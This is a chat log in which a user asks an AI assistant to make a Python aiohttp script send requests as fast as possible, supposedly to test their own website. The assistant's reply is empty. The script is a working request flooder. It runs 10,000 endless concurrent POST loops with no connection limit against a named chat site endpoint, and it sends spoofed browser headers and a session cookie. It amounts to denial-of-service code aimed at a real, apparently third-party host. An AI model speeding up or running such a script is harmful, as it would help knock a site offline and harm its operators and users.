make this script send requests as fast as possible for testing my website import asyncio…
- User
make this script send requests as fast as possible for testing my website
import asyncio import aiohttp
Number of concurrent tasks
NUM_TASKS = 10000 # Adjust this number based on your testing needs and system capabilities
async def send_requests(session, url, data, headers): while True: try: async with session.post(url, data=data, headers=headers) as response: text = await response.text() print(f"Response: {response.status}, Content: {text[:100]}") except Exception as e: print(f"Error: {e}")
async def main(): url = "https://furrychat.net/chat/system/random.php" data = {"random_username": "1"} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)" " Chrome/130.0.0.0 Safari/537.36", "authority": "furrychat.net", "method": "POST", "path": "/chat/system/random.php", "scheme": "https", "accept": "/", "accept-encoding": "gzip, deflate, br, zstd", "accept-language": "en-US,en;q=0.9,ru;q=0.8", "origin": "https://furrychat.net", "priority": "u=1, i", "referer": "https://furrychat.net/chat/", "sec-ch-ua": '"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"', "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Windows"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "x-requested-with": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", }
codecookies = {"PHPSESSID": "kdbn5gohnqtu2iq1pbp8bml096"} # Create a connector with a high limit for maximum connections connector = aiohttp.TCPConnector(limit=0) # 0 means no limit async with aiohttp.ClientSession(cookies=cookies, connector=connector) as session: tasks = [] for _ in range(NUM_TASKS): tasks.append(asyncio.create_task(send_requests(session, url, data, headers))) await asyncio.gather(*tasks)if name == "main": asyncio.run(main())
- Assistant